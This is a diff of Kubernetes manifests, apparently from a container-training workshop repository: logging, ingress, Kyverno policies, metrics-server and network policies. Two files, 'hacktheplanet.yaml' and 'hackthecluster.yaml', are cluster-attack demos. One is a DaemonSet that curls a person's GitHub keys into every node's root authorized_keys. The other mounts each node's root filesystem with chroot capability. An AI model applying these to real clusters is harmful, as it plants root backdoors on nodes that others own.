+#reportingInstance: ""
+

k8s/event-pod.yaml

@@ -0,0 +1,36 @@
+kind: Event
+apiVersion: v1
+metadata:
+  # One convention is to use <objectname>.<timestamp>,
+  # where the timestamp is taken with a nanosecond
+  # precision and expressed in hexadecimal.
+  # Example: web-5dcb957ccc-fjvzc.164689730a36ec3d
+  name: hello.1234567890
+  # The label doesn't serve any purpose, except making
+  # it easier to identify or delete that specific event.
+  labels:
+    container.training/test: ""
+
+#eventTime: "2020-07-04T00:00:00.000000Z"
+#firstTimestamp: "2020-01-01T00:00:00.000000Z"
+#lastTimestamp: "2020-12-31T00:00:00.000000Z"
+#count: 42
+
+involvedObject:
+  ### These 5 lines should be updated to refer to an object.
+  ### Make sure to put the correct "uid", because it is what
+  ### "kubectl describe" is using to gather relevant events.
+  #apiVersion: v1
+  #kind: Pod
+  #name: magic-bean
+  #namespace: blue
+  #uid: 7f28fda8-6ef4-4580-8d87-b55721fcfc30
+
+type: Normal
+reason: BackupSuccessful
+message: "Object successfully dumped to gitops repository"
+source:
+  component: gitops-sync
+#reportingComponent: ""
+#reportingInstance: ""
+

k8s/filebeat.yaml

@@ -0,0 +1,170 @@
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-config
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+data:
+  filebeat.yml: |-
+    filebeat.config:
+      inputs:
+        # Mounted `filebeat-inputs` configmap:
+        path: ${path.config}/inputs.d/*.yml
+        # Reload inputs configs as they change:
+        reload.enabled: false
+      modules:
+        path: ${path.config}/modules.d/*.yml
+        # Reload module configs as they change:
+        reload.enabled: false
+
+    # To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
+    #filebeat.autodiscover:
+    #  providers:
+    #    - type: kubernetes
+    #      hints.enabled: true
+
+    processors:
+      - add_cloud_metadata:
+
+    cloud.id: ${ELASTIC_CLOUD_ID}
+    cloud.auth: ${ELASTIC_CLOUD_AUTH}
+
+    output.elasticsearch:
+      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
+      username: ${ELASTICSEARCH_USERNAME}
+      password: ${ELASTICSEARCH_PASSWORD}
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-inputs
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+data:
+  kubernetes.yml: |-
+    - type: docker
+      containers.ids:
+      - "*"
+      processors:
+        - add_kubernetes_metadata:
+            in_cluster: true
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: filebeat
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+spec:
+  selector:
+    matchLabels:
+      k8s-app: filebeat
+  template:
+    metadata:
+      labels:
+        k8s-app: filebeat
+    spec:
+      serviceAccountName: filebeat
+      terminationGracePeriodSeconds: 30
+      containers:
+      - name: filebeat
+        image: docker.elastic.co/beats/filebeat-oss:7.0.1
+        args: [
+          "-c", "/etc/filebeat.yml",
+          "-e",
+        ]
+        env:
+        - name: ELASTICSEARCH_HOST
+          value: elasticsearch-es.default.svc.cluster.local
+        - name: ELASTICSEARCH_PORT
+          value: "9200"
+        - name: ELASTICSEARCH_USERNAME
+          value: elastic
+        - name: ELASTICSEARCH_PASSWORD
+          value: changeme
+        - name: ELASTIC_CLOUD_ID
+          value:
+        - name: ELASTIC_CLOUD_AUTH
+          value:
+        securityContext:
+          runAsUser: 0
+          # If using Red Hat OpenShift uncomment this:
+          #privileged: true
+        resources:
+          limits:
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 100Mi
+        volumeMounts:
+        - name: config
+          mountPath: /etc/filebeat.yml
+          readOnly: true
+          subPath: filebeat.yml
+        - name: inputs
+          mountPath: /usr/share/filebeat/inputs.d
+          readOnly: true
+        - name: data
+          mountPath: /usr/share/filebeat/data
+        - name: varlibdockercontainers
+          mountPath: /var/lib/docker/containers
+          readOnly: true
+      volumes:
+      - name: config
+        configMap:
+          defaultMode: 0600
+          name: filebeat-config
+      - name: varlibdockercontainers
+        hostPath:
+          path: /var/lib/docker/containers
+      - name: inputs
+        configMap:
+          defaultMode: 0600
+          name: filebeat-inputs
+      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
+      - name: data
+        hostPath:
+          path: /var/lib/filebeat-data
+          type: DirectoryOrCreate
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: filebeat
+subjects:
+- kind: ServiceAccount
+  name: filebeat
+  namespace: kube-system
+roleRef:
+  kind: ClusterRole
+  name: filebeat
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: filebeat
+  labels:
+    k8s-app: filebeat
+rules:
+- apiGroups: [""] # "" indicates the core API group
+  resources:
+  - namespaces
+  - pods
+  verbs:
+  - get
+  - watch
+  - list
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: filebeat
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+---

k8s/grant-admin-to-dashboard.yaml

@@ -1,4 +1,4 @@
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRoleBinding
 metadata:
   name: kubernetes-dashboard
@@ -11,4 +11,4 @@ roleRef:
 subjects:
 - kind: ServiceAccount
   name: kubernetes-dashboard
-  namespace: kube-system
+  namespace: kube-system

k8s/hackthecluster.yaml

@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: hackthecluster
+spec:
+  selector:
+    matchLabels:
+      app: hackthecluster
+  template:
+    metadata:
+      labels:
+        app: hackthecluster
+    spec:
+      volumes:
+      - name: slash
+        hostPath:
+          path: /
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      containers:
+      - name: alpine
+        image: alpine
+        volumeMounts:
+        - name: slash
+          mountPath: /hostfs
+        command:
+        - sleep
+        - infinity
+        securityContext:
+          #privileged: true
+          capabilities:
+            add:
+            - SYS_CHROOT

k8s/hacktheplanet.yaml

@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: hacktheplanet
+spec:
+  selector:
+    matchLabels:
+      app: hacktheplanet
+  template:
+    metadata:
+      labels:
+        app: hacktheplanet
+    spec:
+      volumes:
+      - name: root
+        hostPath:
+          path: /root
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      initContainers:
+      - name: hacktheplanet
+        image: alpine
+        volumeMounts:
+        - name: root
+          mountPath: /root
+        command:
+        - sh
+        - -c
+        - "mkdir -p /root/.ssh && apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
+      containers:
+      - name: web
+        image: nginx
+

k8s/haproxy.cfg

@@ -0,0 +1,16 @@
+global
+  daemon
+
+defaults
+  mode tcp
+  timeout connect 5s
+  timeout client 50s
+  timeout server 50s
+
+listen very-basic-load-balancer
+  bind *:80
+  server blue color.blue.svc:80
+  server green color.green.svc:80
+
+# Note: the services above must exist,
+# otherwise HAproxy won't start.

k8s/haproxy.yaml

@@ -0,0 +1,16 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: haproxy
+spec:
+  volumes:
+  - name: config
+    configMap:
+      name: haproxy
+  containers:
+  - name: haproxy
+    image: haproxy:1
+    volumeMounts:
+    - name: config
+      mountPath: /usr/local/etc/haproxy/
+

k8s/hpa-v2-pa-httplat.yaml

@@ -0,0 +1,29 @@
+kind: HorizontalPodAutoscaler
+apiVersion: autoscaling/v2beta2
+metadata:
+  name: rng
+spec:
+  scaleTargetRef:
+    apiVersion: apps/v1
+    kind: Deployment
+    name: rng
+  minReplicas: 1
+  maxReplicas: 20
+  behavior:
+    scaleUp:
+        stabilizationWindowSeconds: 60
+    scaleDown:
+        stabilizationWindowSeconds: 180
+  metrics:
+  - type: Object
+    object:
+      describedObject:
+        apiVersion: v1
+        kind: Service
+        name: httplat
+      metric:
+        name: httplat_latency_seconds
+      target:
+        type: Value
+        value: 0.1
+

k8s/ingress-v1.yaml

@@ -0,0 +1,20 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: whatever
+spec:
+  #tls:
+  #- secretName: whatever.A.B.C.D.nip.io
+  #  hosts:
+  #  - whatever.A.B.C.D.nip.io
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        pathType: Prefix
+        backend:
+          service:
+            name: whatever
+            port:
+              number: 1234

k8s/ingress-v1beta1.yaml

@@ -0,0 +1,17 @@
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: whatever
+spec:
+  #tls:
+  #- secretName: whatever.A.B.C.D.nip.io
+  #  hosts:
+  #  - whatever.A.B.C.D.nip.io
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: whatever
+          servicePort: 1234

k8s/ingress.yaml

@@ -0,0 +1 @@
+ingress-v1beta1.yaml

k8s/just-a-pod.yaml

@@ -0,0 +1,10 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: hello
+  namespace: default
+spec:
+  containers:
+  - name: hello
+    image: nginx
+

k8s/kaniko-build.yaml

@@ -0,0 +1,29 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: kaniko-build
+spec:
+  initContainers:
+  - name: git-clone
+    image: alpine
+    command: ["sh", "-c"]
+    args: 
+    - |
+      apk add --no-cache git &&
+      git clone git://github.com/jpetazzo/container.training /workspace
+    volumeMounts:
+    - name: workspace
+      mountPath: /workspace
+  containers:
+  - name: build-image
+    image: gcr.io/kaniko-project/executor:latest
+    args:
+      - "--context=/workspace/dockercoins/rng"
+      - "--insecure"
+      - "--destination=registry:5000/rng-kaniko:latest"
+    volumeMounts:
+    - name: workspace
+      mountPath: /workspace
+  volumes:
+  - name: workspace
+

k8s/kubernetes-dashboard.yaml

@@ -1,167 +0,0 @@
-# Copyright 2017 The Kubernetes Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Configuration to deploy release version of the Dashboard UI compatible with
-# Kubernetes 1.8.
-#
-# Example usage: kubectl create -f <this_file>
-
-# ------------------- Dashboard Secret ------------------- #
-
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard-certs
-  namespace: kube-system
-type: Opaque
-
----
-# ------------------- Dashboard Service Account ------------------- #
-
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kube-system
-
----
-# ------------------- Dashboard Role & Role Binding ------------------- #
-
-kind: Role
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: kubernetes-dashboard-minimal
-  namespace: kube-system
-rules:
-  # Allow Dashboard to create 'kubernetes-dashboard-key-holder' secret.
-- apiGroups: [""]
-  resources: ["secrets"]
-  verbs: ["create"]
-  # Allow Dashboard to create 'kubernetes-dashboard-settings' config map.
-- apiGroups: [""]
-  resources: ["configmaps"]
-  verbs: ["create"]
-  # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
-- apiGroups: [""]
-  resources: ["secrets"]
-  resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs"]
-  verbs: ["get", "update", "delete"]
-  # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
-- apiGroups: [""]
-  resources: ["configmaps"]
-  resourceNames: ["kubernetes-dashboard-settings"]
-  verbs: ["get", "update"]
-  # Allow Dashboard to get metrics from heapster.
-- apiGroups: [""]
-  resources: ["services"]
-  resourceNames: ["heapster"]
-  verbs: ["proxy"]
-- apiGroups: [""]
-  resources: ["services/proxy"]
-  resourceNames: ["heapster", "http:heapster:", "https:heapster:"]
-  verbs: ["get"]
-
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: kubernetes-dashboard-minimal
-  namespace: kube-system
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: kubernetes-dashboard-minimal
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kube-system
-
----
-# ------------------- Dashboard Deployment ------------------- #
-
-kind: Deployment
-apiVersion: apps/v1beta2
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kube-system
-spec:
-  replicas: 1
-  revisionHistoryLimit: 10
-  selector:
-    matchLabels:
-      k8s-app: kubernetes-dashboard
-  template:
-    metadata:
-      labels:
-        k8s-app: kubernetes-dashboard
-    spec:
-      containers:
-      - name: kubernetes-dashboard
-        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
-        ports:
-        - containerPort: 8443
-          protocol: TCP
-        args:
-          - --auto-generate-certificates
-          # Uncomment the following line to manually specify Kubernetes API server Host
-          # If not specified, Dashboard will attempt to auto discover the API server and connect
-          # to it. Uncomment only if the default does not work.
-          # - --apiserver-host=http://my-address:port
-        volumeMounts:
-        - name: kubernetes-dashboard-certs
-          mountPath: /certs
-          # Create on-disk volume to store exec logs
-        - mountPath: /tmp
-          name: tmp-volume
-        livenessProbe:
-          httpGet:
-            scheme: HTTPS
-            path: /
-            port: 8443
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-      volumes:
-      - name: kubernetes-dashboard-certs
-        secret:
-          secretName: kubernetes-dashboard-certs
-      - name: tmp-volume
-        emptyDir: {}
-      serviceAccountName: kubernetes-dashboard
-      # Comment the following tolerations if Dashboard must not be deployed on master
-      tolerations:
-      - key: node-role.kubernetes.io/master
-        effect: NoSchedule
-
----
-# ------------------- Dashboard Service ------------------- #
-
-kind: Service
-apiVersion: v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kube-system
-spec:
-  ports:
-    - port: 443
-      targetPort: 8443
-  selector:
-    k8s-app: kubernetes-dashboard

k8s/kyverno-ingress-domain-name-1.yaml

@@ -0,0 +1,28 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources: 
+        kinds:
+        - Service
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      number: 80
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-2.yaml

@@ -0,0 +1,32 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources: 
+        kinds:
+        - Service
+    preconditions:
+    - key: "{{request.object.spec.ports[0].name}}"
+      operator: Equals
+      value: http
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-3.yaml

@@ -0,0 +1,37 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    context:
+    - name: configmap
+      configMap:
+        name: ingress-domain-name
+        namespace: "{{request.object.metadata.namespace}}"
+    match:
+      resources: 
+        kinds:
+        - Service
+    preconditions:
+    - key: "{{request.object.spec.ports[0].name}}"
+      operator: Equals
+      value: http
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.{{configmap.data.domain}}"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-namespace-setup.yaml

@@ -0,0 +1,63 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: setup-namespace
+spec:
+  rules:
+  - name: setup-limitrange
+    match:
+      resources: 
+        kinds:
+        - Namespace
+    generate: 
+      kind: LimitRange
+      name: default-limitrange
+      namespace: "{{request.object.metadata.name}}" 
+      data:
+        spec:
+          limits:
+          - type: Container
+            min:
+              cpu: 0.1
+              memory: 0.1
+            max:
+              cpu: 2
+              memory: 2Gi
+            default:
+              cpu: 0.25
+              memory: 500Mi
+            defaultRequest:
+              cpu: 0.25
+              memory: 250Mi
+  - name: setup-resourcequota
+    match:
+      resources: 
+        kinds:
+        - Namespace
+    generate: 
+      kind: ResourceQuota
+      name: default-resourcequota
+      namespace: "{{request.object.metadata.name}}" 
+      data:
+        spec:
+          hard:
+            requests.cpu: "10"
+            requests.memory: 10Gi
+            limits.cpu: "20"
+            limits.memory: 20Gi
+  - name: setup-networkpolicy
+    match:
+      resources: 
+        kinds:
+        - Namespace
+    generate: 
+      kind: NetworkPolicy
+      name: default-networkpolicy
+      namespace: "{{request.object.metadata.name}}" 
+      data:
+        spec:
+          podSelector: {}
+          ingress:
+          - from:
+            - podSelector: {}
+

k8s/kyverno-pod-color-1.yaml

@@ -0,0 +1,22 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-1
+spec:
+  validationFailureAction: enforce
+  rules:
+  - name: ensure-pod-color-is-valid
+    match:
+      resources:
+        kinds:
+        - Pod
+        selector:
+          matchExpressions:
+          - key: color
+            operator: Exists
+          - key: color
+            operator: NotIn
+            values: [ red, green, blue ]
+    validate:
+      message: "If it exists, the label color must be red, green, or blue."
+      deny: {}

k8s/kyverno-pod-color-2.yaml

@@ -0,0 +1,31 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-2
+spec:
+  validationFailureAction: enforce
+  background: false
+  rules:
+  - name: prevent-color-change
+    match:
+      resources:
+        kinds:
+        - Pod
+    preconditions:
+    - key: "{{ request.operation }}"
+      operator: Equals
+      value: UPDATE
+    - key: "{{ request.oldObject.metadata.labels.color }}"
+      operator: NotEquals
+      value: ""
+    - key: "{{ request.object.metadata.labels.color }}"
+      operator: NotEquals
+      value: ""
+    validate:
+      message: "Once label color has been added, it cannot be changed."
+      deny:
+        conditions:
+        - key: "{{ request.object.metadata.labels.color }}"
+          operator: NotEquals
+          value: "{{ request.oldObject.metadata.labels.color }}"
+

k8s/kyverno-pod-color-3.yaml

@@ -0,0 +1,28 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-3
+spec:
+  validationFailureAction: enforce
+  background: false
+  rules:
+  - name: prevent-color-change
+    match:
+      resources:
+        kinds:
+        - Pod
+    preconditions:
+    - key: "{{ request.operation }}"
+      operator: Equals
+      value: UPDATE
+    - key: "{{ request.oldObject.metadata.labels.color }}"
+      operator: NotEquals
+      value: ""
+    - key: "{{ request.object.metadata.labels.color }}"
+      operator: Equals
+      value: ""
+    validate:
+      message: "Once label color has been added, it cannot be removed."
+      deny:
+        conditions:
+

k8s/kyverno-tls-for-ingress.yaml

@@ -0,0 +1,46 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: tls-for-ingress
+spec:
+  rules:
+  - name: create-role
+    match:
+      resources: 
+        kinds:
+        - Certificate
+    generate: 
+      kind: Role
+      apiVersion: rbac.authorization.k8s.io/v1
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        rules:
+        - verbs:
+          - get
+          apiGroups:
+          - ""
+          resources:
+          - secrets
+          resourceNames:
+          - "{{request.object.metadata.name}}"
+  - name: create-rolebinding
+    match:
+      resources: 
+        kinds:
+        - Certificate
+    generate: 
+      kind: RoleBinding
+      apiVersion: rbac.authorization.k8s.io/v1
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        roleRef:
+          apiGroup: rbac.authorization.k8s.io
+          kind: Role
+          name: "{{request.object.metadata.name}}"
+        subjects:
+        - kind: ServiceAccount
+          name: default
+          namespace: "{{request.object.metadata.namespace}}"
+

k8s/local-path-storage.yaml

@@ -0,0 +1,160 @@
+# This is a local copy of:
+# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: local-path-storage
+
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: local-path-provisioner-service-account
+  namespace: local-path-storage
+
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: local-path-provisioner-role
+rules:
+  - apiGroups: [ "" ]
+    resources: [ "nodes", "persistentvolumeclaims", "configmaps" ]
+    verbs: [ "get", "list", "watch" ]
+  - apiGroups: [ "" ]
+    resources: [ "endpoints", "persistentvolumes", "pods" ]
+    verbs: [ "*" ]
+  - apiGroups: [ "" ]
+    resources: [ "events" ]
+    verbs: [ "create", "patch" ]
+  - apiGroups: [ "storage.k8s.io" ]
+    resources: [ "storageclasses" ]
+    verbs: [ "get", "list", "watch" ]
+
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: local-path-provisioner-bind
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: local-path-provisioner-role
+subjects:
+  - kind: ServiceAccount
+    name: local-path-provisioner-service-account
+    namespace: local-path-storage
+
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: local-path-provisioner
+  namespace: local-path-storage
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: local-path-provisioner
+  template:
+    metadata:
+      labels:
+        app: local-path-provisioner
+    spec:
+      serviceAccountName: local-path-provisioner-service-account
+      containers:
+        - name: local-path-provisioner
+          image: rancher/local-path-provisioner:v0.0.19
+          imagePullPolicy: IfNotPresent
+          command:
+            - local-path-provisioner
+            - --debug
+            - start
+            - --config
+            - /etc/config/config.json
+          volumeMounts:
+            - name: config-volume
+              mountPath: /etc/config/
+          env:
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+      volumes:
+        - name: config-volume
+          configMap:
+            name: local-path-config
+
+---
+apiVersion: storage.k8s.io/v1
+kind: StorageClass
+metadata:
+  name: local-path
+provisioner: rancher.io/local-path
+volumeBindingMode: WaitForFirstConsumer
+reclaimPolicy: Delete
+
+---
+kind: ConfigMap
+apiVersion: v1
+metadata:
+  name: local-path-config
+  namespace: local-path-storage
+data:
+  config.json: |-
+    {
+            "nodePathMap":[
+            {
+                    "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
+                    "paths":["/opt/local-path-provisioner"]
+            }
+            ]
+    }
+  setup: |-
+    #!/bin/sh
+    while getopts "m:s:p:" opt
+    do
+        case $opt in
+            p)
+            absolutePath=$OPTARG
+            ;;
+            s)
+            sizeInBytes=$OPTARG
+            ;;
+            m)
+            volMode=$OPTARG
+            ;;
+        esac
+    done
+
+    mkdir -m 0777 -p ${absolutePath}
+  teardown: |-
+    #!/bin/sh
+    while getopts "m:s:p:" opt
+    do
+        case $opt in
+            p)
+            absolutePath=$OPTARG
+            ;;
+            s)
+            sizeInBytes=$OPTARG
+            ;;
+            m)
+            volMode=$OPTARG
+            ;;
+        esac
+    done
+
+    rm -rf ${absolutePath}
+  helperPod.yaml: |-
+    apiVersion: v1
+    kind: Pod
+    metadata:
+      name: helper-pod
+    spec:
+      containers:
+      - name: helper-pod
+        image: busybox
+
+
+

k8s/metrics-server.yaml

@@ -0,0 +1,193 @@
+# This file is https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
+# But with the following arguments added to metrics-server:
+#   args:
+#   - --kubelet-insecure-tls
+#   - --metric-resolution=5s
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    k8s-app: metrics-server
+    rbac.authorization.k8s.io/aggregate-to-admin: "true"
+    rbac.authorization.k8s.io/aggregate-to-edit: "true"
+    rbac.authorization.k8s.io/aggregate-to-view: "true"
+  name: system:aggregated-metrics-reader
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: system:metrics-server
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - pods
+  - nodes
+  - nodes/stats
+  - namespaces
+  - configmaps
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server-auth-reader
+  namespace: kube-system
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: extension-apiserver-authentication-reader
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server:system:auth-delegator
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:auth-delegator
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: system:metrics-server
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:metrics-server
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+spec:
+  ports:
+  - name: https
+    port: 443
+    protocol: TCP
+    targetPort: https
+  selector:
+    k8s-app: metrics-server
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+spec:
+  selector:
+    matchLabels:
+      k8s-app: metrics-server
+  strategy:
+    rollingUpdate:
+      maxUnavailable: 0
+  template:
+    metadata:
+      labels:
+        k8s-app: metrics-server
+    spec:
+      containers:
+      - args:
+        - --cert-dir=/tmp
+        - --secure-port=4443
+        - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
+        - --kubelet-use-node-status-port
+        - --kubelet-insecure-tls
+        - --metric-resolution=5s
+        image: k8s.gcr.io/metrics-server/metrics-server:v0.4.3
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          failureThreshold: 3
+          httpGet:
+            path: /livez
+            port: https
+            scheme: HTTPS
+          periodSeconds: 10
+        name: metrics-server
+        ports:
+        - containerPort: 4443
+          name: https
+          protocol: TCP
+        readinessProbe:
+          failureThreshold: 3
+          httpGet:
+            path: /readyz
+            port: https
+            scheme: HTTPS
+          periodSeconds: 10
+        securityContext:
+          readOnlyRootFilesystem: true
+          runAsNonRoot: true
+          runAsUser: 1000
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-dir
+      nodeSelector:
+        kubernetes.io/os: linux
+      priorityClassName: system-cluster-critical
+      serviceAccountName: metrics-server
+      volumes:
+      - emptyDir: {}
+        name: tmp-dir
+---
+apiVersion: apiregistration.k8s.io/v1
+kind: APIService
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: v1beta1.metrics.k8s.io
+spec:
+  group: metrics.k8s.io
+  groupPriorityMinimum: 100
+  insecureSkipTLSVerify: true
+  service:
+    name: metrics-server
+    namespace: kube-system
+  version: v1beta1
+  versionPriority: 100

k8s/mounter.yaml

@@ -0,0 +1,20 @@
+kind: Pod
+apiVersion: v1
+metadata:
+  generateName: mounter-
+  labels:
+    container.training/mounter: ""
+spec:
+  volumes:
+  - name: pvc
+    persistentVolumeClaim:
+      claimName: my-pvc-XYZ45
+  containers:
+  - name: mounter
+    image: alpine
+    stdin: true
+    tty: true
+    volumeMounts:
+    - name: pvc
+      mountPath: /pvc
+    workingDir: /pvc

k8s/netpol-allow-testcurl-for-testweb.yaml

@@ -5,7 +5,7 @@ metadata:
 spec:
   podSelector:
     matchLabels:
-      run: testweb
+      app: testweb
   ingress:
   - from:
     - podSelector:

k8s/netpol-deny-all-for-testweb.yaml

@@ -5,6 +5,6 @@ metadata:
 spec:
   podSelector:
     matchLabels:
-      run: testweb
+      app: testweb
   ingress: []
 

k8s/netpol-dockercoins.yaml

@@ -0,0 +1,21 @@
+kind: NetworkPolicy
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: deny-from-other-namespaces
+spec:
+  podSelector: {}
+  ingress:
+  - from:
+    - podSelector: {}
+---
+kind: NetworkPolicy
